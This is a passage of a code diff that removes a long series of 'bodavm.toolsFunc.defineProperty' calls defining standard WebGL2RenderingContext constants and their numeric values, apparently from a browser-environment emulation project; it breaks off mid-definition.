-bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_COMPARE_FUNC", {configurable:false, enumerable:true, writable:false, value:34893}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CURRENT_QUERY", {configurable:false, enumerable:true, writable:false, value:34917}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "QUERY_RESULT", {configurable:false, enumerable:true, writable:false, value:34918}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "QUERY_RESULT_AVAILABLE", {configurable:false, enumerable:true, writable:false, value:34919}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STREAM_READ", {configurable:false, enumerable:true, writable:false, value:35041}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STREAM_COPY", {configurable:false, enumerable:true, writable:false, value:35042}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STATIC_READ", {configurable:false, enumerable:true, writable:false, value:35045}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STATIC_COPY", {configurable:false, enumerable:true, writable:false, value:35046}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DYNAMIC_READ", {configurable:false, enumerable:true, writable:false, value:35049}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DYNAMIC_COPY", {configurable:false, enumerable:true, writable:false, value:35050}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_DRAW_BUFFERS", {configurable:false, enumerable:true, writable:false, value:34852}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER0", {configurable:false, enumerable:true, writable:false, value:34853}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER1", {configurable:false, enumerable:true, writable:false, value:34854}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER2", {configurable:false, enumerable:true, writable:false, value:34855}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER3", {configurable:false, enumerable:true, writable:false, value:34856}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER4", {configurable:false, enumerable:true, writable:false, value:34857}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER5", {configurable:false, enumerable:true, writable:false, value:34858}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER6", {configurable:false, enumerable:true, writable:false, value:34859}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER7", {configurable:false, enumerable:true, writable:false, value:34860}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER8", {configurable:false, enumerable:true, writable:false, value:34861}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER9", {configurable:false, enumerable:true, writable:false, value:34862}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER10", {configurable:false, enumerable:true, writable:false, value:34863}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER11", {configurable:false, enumerable:true, writable:false, value:34864}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER12", {configurable:false, enumerable:true, writable:false, value:34865}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER13", {configurable:false, enumerable:true, writable:false, value:34866}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER14", {configurable:false, enumerable:true, writable:false, value:34867}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER15", {configurable:false, enumerable:true, writable:false, value:34868}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_UNIFORM_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35657}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_UNIFORM_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35658}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_3D", {configurable:false, enumerable:true, writable:false, value:35679}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D_SHADOW", {configurable:false, enumerable:true, writable:false, value:35682}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAGMENT_SHADER_DERIVATIVE_HINT", {configurable:false, enumerable:true, writable:false, value:35723}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_PACK_BUFFER", {configurable:false, enumerable:true, writable:false, value:35051}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_UNPACK_BUFFER", {configurable:false, enumerable:true, writable:false, value:35052}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_PACK_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:35053}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_UNPACK_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:35055}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT2x3", {configurable:false, enumerable:true, writable:false, value:35685}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT2x4", {configurable:false, enumerable:true, writable:false, value:35686}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT3x2", {configurable:false, enumerable:true, writable:false, value:35687}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT3x4", {configurable:false, enumerable:true, writable:false, value:35688}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT4x2", {configurable:false, enumerable:true, writable:false, value:35689}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT4x3", {configurable:false, enumerable:true, writable:false, value:35690}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRGB", {configurable:false, enumerable:true, writable:false, value:35904}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRGB8", {configurable:false, enumerable:true, writable:false, value:35905}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRGB8_ALPHA8", {configurable:false, enumerable:true, writable:false, value:35907}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COMPARE_REF_TO_TEXTURE", {configurable:false, enumerable:true, writable:false, value:34894}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA32F", {configurable:false, enumerable:true, writable:false, value:34836}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB32F", {configurable:false, enumerable:true, writable:false, value:34837}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA16F", {configurable:false, enumerable:true, writable:false, value:34842}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB16F", {configurable:false, enumerable:true, writable:false, value:34843}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_INTEGER", {configurable:false, enumerable:true, writable:false, value:35069}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ARRAY_TEXTURE_LAYERS", {configurable:false, enumerable:true, writable:false, value:35071}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MIN_PROGRAM_TEXEL_OFFSET", {configurable:false, enumerable:true, writable:false, value:35076}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_PROGRAM_TEXEL_OFFSET", {configurable:false, enumerable:true, writable:false, value:35077}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VARYING_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35659}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_2D_ARRAY", {configurable:false, enumerable:true, writable:false, value:35866}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_2D_ARRAY", {configurable:false, enumerable:true, writable:false, value:35869}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R11F_G11F_B10F", {configurable:false, enumerable:true, writable:false, value:35898}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_10F_11F_11F_REV", {configurable:false, enumerable:true, writable:false, value:35899}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB9_E5", {configurable:false, enumerable:true, writable:false, value:35901}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_5_9_9_9_REV", {configurable:false, enumerable:true, writable:false, value:35902}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_MODE", {configurable:false, enumerable:true, writable:false, value:35967}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TRANSFORM_FEEDBACK_SEPARATE_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35968}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_VARYINGS", {configurable:false, enumerable:true, writable:false, value:35971}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_START", {configurable:false, enumerable:true, writable:false, value:35972}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:35973}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN", {configurable:false, enumerable:true, writable:false, value:35976}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RASTERIZER_DISCARD", {configurable:false, enumerable:true, writable:false, value:35977}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TRANSFORM_FEEDBACK_INTERLEAVED_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35978}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TRANSFORM_FEEDBACK_SEPARATE_ATTRIBS", {configurable:false, enumerable:true, writable:false, value:35979}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INTERLEAVED_ATTRIBS", {configurable:false, enumerable:true, writable:false, value:35980}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SEPARATE_ATTRIBS", {configurable:false, enumerable:true, writable:false, value:35981}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER", {configurable:false, enumerable:true, writable:false, value:35982}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:35983}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA32UI", {configurable:false, enumerable:true, writable:false, value:36208}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB32UI", {configurable:false, enumerable:true, writable:false, value:36209}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA16UI", {configurable:false, enumerable:true, writable:false, value:36214}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB16UI", {configurable:false, enumerable:true, writable:false, value:36215}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8UI", {configurable:false, enumerable:true, writable:false, value:36220}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8UI", {configurable:false, enumerable:true, writable:false, value:36221}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA32I", {configurable:false, enumerable:true, writable:false, value:36226}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB32I", {configurable:false, enumerable:true, writable:false, value:36227}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA16I", {configurable:false, enumerable:true, writable:false, value:36232}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB16I", {configurable:false, enumerable:true, writable:false, value:36233}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8I", {configurable:false, enumerable:true, writable:false, value:36238}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8I", {configurable:false, enumerable:true, writable:false, value:36239}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RED_INTEGER", {configurable:false, enumerable:true, writable:false, value:36244}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB_INTEGER", {configurable:false, enumerable:true, writable:false, value:36248}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA_INTEGER", {configurable:false, enumerable:true, writable:false, value:36249}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D_ARRAY", {configurable:false, enumerable:true, writable:false, value:36289}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D_ARRAY_SHADOW", {configurable:false, enumerable:true, writable:false, value:36292}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_CUBE_SHADOW", {configurable:false, enumerable:true, writable:false, value:36293}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_VEC2", {configurable:false, enumerable:true, writable:false, value:36294}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_VEC3", {configurable:false, enumerable:true, writable:false, value:36295}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_VEC4", {configurable:false, enumerable:true, writable:false, value:36296}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_2D", {configurable:false, enumerable:true, writable:false, value:36298}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_3D", {configurable:false, enumerable:true, writable:false, value:36299}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_CUBE", {configurable:false, enumerable:true, writable:false, value:36300}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_2D_ARRAY", {configurable:false, enumerable:true, writable:false, value:36303}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_2D", {configurable:false, enumerable:true, writable:false, value:36306}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_3D", {configurable:false, enumerable:true, writable:false, value:36307}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_CUBE", {configurable:false, enumerable:true, writable:false, value:36308}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_2D_ARRAY", {configurable:false, enumerable:true, writable:false, value:36311}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT32F", {configurable:false, enumerable:true, writable:false, value:36012}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH32F_STENCIL8", {configurable:false, enumerable:true, writable:false, value:36013}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_32_UNSIGNED_INT_24_8_REV", {configurable:false, enumerable:true, writable:false, value:36269}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING", {configurable:false, enumerable:true, writable:false, value:33296}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_COMPONENT_TYPE", {configurable:false, enumerable:true, writable:false, value:33297}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_RED_SIZE", {configurable:false, enumerable:true, writable:false, value:33298}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_GREEN_SIZE", {configurable:false, enumerable:true, writable:false, value:33299}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_BLUE_SIZE", {configurable:false, enumerable:true, writable:false, value:33300}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_ALPHA_SIZE", {configurable:false, enumerable:true, writable:false, value:33301}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_DEPTH_SIZE", {configurable:false, enumerable:true, writable:false, value:33302}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_STENCIL_SIZE", {configurable:false, enumerable:true, writable:false, value:33303}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_DEFAULT", {configurable:false, enumerable:true, writable:false, value:33304}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_24_8", {configurable:false, enumerable:true, writable:false, value:34042}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH24_STENCIL8", {configurable:false, enumerable:true, writable:false, value:35056}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_NORMALIZED", {configurable:false, enumerable:true, writable:false, value:35863}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_FRAMEBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36006}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "READ_FRAMEBUFFER", {configurable:false, enumerable:true, writable:false, value:36008}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_FRAMEBUFFER", {configurable:false, enumerable:true, writable:false, value:36009}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "READ_FRAMEBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36010}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_SAMPLES", {configurable:false, enumerable:true, writable:false, value:36011}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LAYER", {configurable:false, enumerable:true, writable:false, value:36052}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COLOR_ATTACHMENTS", {configurable:false, enumerable:true, writable:false, value:36063}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT1", {configurable:false, enumerable:true, writable:false, value:36065}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT2", {configurable:false, enumerable:true, writable:false, value:36066}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT3", {configurable:false, enumerable:true, writable:false, value:36067}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT4", {configurable:false, enumerable:true, writable:false, value:36068}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT5", {configurable:false, enumerable:true, writable:false, value:36069}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT6", {configurable:false, enumerable:true, writable:false, value:36070}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT7", {configurable:false, enumerable:true, writable:false, value:36071}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT8", {configurable:false, enumerable:true, writable:false, value:36072}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT9", {configurable:false, enumerable:true, writable:false, value:36073}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT10", {configurable:false, enumerable:true, writable:false, value:36074}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT11", {configurable:false, enumerable:true, writable:false, value:36075}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT12", {configurable:false, enumerable:true, writable:false, value:36076}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT13", {configurable:false, enumerable:true, writable:false, value:36077}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT14", {configurable:false, enumerable:true, writable:false, value:36078}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT15", {configurable:false, enumerable:true, writable:false, value:36079}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_MULTISAMPLE", {configurable:false, enumerable:true, writable:false, value:36182}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_SAMPLES", {configurable:false, enumerable:true, writable:false, value:36183}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "HALF_FLOAT", {configurable:false, enumerable:true, writable:false, value:5131}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG", {configurable:false, enumerable:true, writable:false, value:33319}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG_INTEGER", {configurable:false, enumerable:true, writable:false, value:33320}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8", {configurable:false, enumerable:true, writable:false, value:33321}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8", {configurable:false, enumerable:true, writable:false, value:33323}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R16F", {configurable:false, enumerable:true, writable:false, value:33325}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R32F", {configurable:false, enumerable:true, writable:false, value:33326}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG16F", {configurable:false, enumerable:true, writable:false, value:33327}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG32F", {configurable:false, enumerable:true, writable:false, value:33328}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8I", {configurable:false, enumerable:true, writable:false, value:33329}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8UI", {configurable:false, enumerable:true, writable:false, value:33330}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R16I", {configurable:false, enumerable:true, writable:false, value:33331}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R16UI", {configurable:false, enumerable:true, writable:false, value:33332}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R32I", {configurable:false, enumerable:true, writable:false, value:33333}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R32UI", {configurable:false, enumerable:true, writable:false, value:33334}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8I", {configurable:false, enumerable:true, writable:false, value:33335}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8UI", {configurable:false, enumerable:true, writable:false, value:33336}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG16I", {configurable:false, enumerable:true, writable:false, value:33337}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG16UI", {configurable:false, enumerable:true, writable:false, value:33338}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG32I", {configurable:false, enumerable:true, writable:false, value:33339}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG32UI", {configurable:false, enumerable:true, writable:false, value:33340}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ARRAY_BINDING", {configurable:false, enumerable:true, writable:false, value:34229}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8_SNORM", {configurable:false, enumerable:true, writable:false, value:36756}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8_SNORM", {configurable:false, enumerable:true, writable:false, value:36757}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8_SNORM", {configurable:false, enumerable:true, writable:false, value:36758}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8_SNORM", {configurable:false, enumerable:true, writable:false, value:36759}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SIGNED_NORMALIZED", {configurable:false, enumerable:true, writable:false, value:36764}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_READ_BUFFER", {configurable:false, enumerable:true, writable:false, value:36662}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_WRITE_BUFFER", {configurable:false, enumerable:true, writable:false, value:36663}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_READ_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36662}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_WRITE_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36663}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER", {configurable:false, enumerable:true, writable:false, value:35345}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:35368}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_START", {configurable:false, enumerable:true, writable:false, value:35369}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:35370}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_UNIFORM_BLOCKS", {configurable:false, enumerable:true, writable:false, value:35371}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_UNIFORM_BLOCKS", {configurable:false, enumerable:true, writable:false, value:35373}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_UNIFORM_BLOCKS", {configurable:false, enumerable:true, writable:false, value:35374}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_UNIFORM_BUFFER_BINDINGS", {configurable:false, enumerable:true, writable:false, value:35375}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_UNIFORM_BLOCK_SIZE", {configurable:false, enumerable:true, writable:false, value:35376}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_VERTEX_UNIFORM_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35377}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_FRAGMENT_UNIFORM_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35379}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_OFFSET_ALIGNMENT", {configurable:false, enumerable:true, writable:false, value:35380}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_UNIFORM_BLOCKS", {configurable:false, enumerable:true, writable:false, value:35382}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_TYPE", {configurable:false, enumerable:true, writable:false, value:35383}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_SIZE", {configurable:false, enumerable:true, writable:false, value:35384}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_INDEX", {configurable:false, enumerable:true, writable:false, value:35386}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_OFFSET", {configurable:false, enumerable:true, writable:false, value:35387}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_ARRAY_STRIDE", {configurable:false, enumerable:true, writable:false, value:35388}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_MATRIX_STRIDE", {configurable:false, enumerable:true, writable:false, value:35389}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_IS_ROW_MAJOR", {configurable:false, enumerable:true, writable:false, value:35390}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_BINDING", {configurable:false, enumerable:true, writable:false, value:35391}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_DATA_SIZE", {configurable:false, enumerable:true, writable:false, value:35392}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_ACTIVE_UNIFORMS", {configurable:false, enumerable:true, writable:false, value:35394}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_ACTIVE_UNIFORM_INDICES", {configurable:false, enumerable:true, writable:false, value:35395}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_REFERENCED_BY_VERTEX_SHADER", {configurable:false, enumerable:true, writable:false, value:35396}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_REFERENCED_BY_FRAGMENT_SHADER", {configurable:false, enumerable:true, writable:false, value:35398}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_INDEX", {configurable:false, enumerable:true, writable:false, value:4294967295}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_OUTPUT_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:37154}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_INPUT_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:37157}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_SERVER_WAIT_TIMEOUT", {configurable:false, enumerable:true, writable:false, value:37137}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "OBJECT_TYPE", {configurable:false, enumerable:true, writable:false, value:37138}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_CONDITION", {configurable:false, enumerable:true, writable:false, value:37139}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_STATUS", {configurable:false, 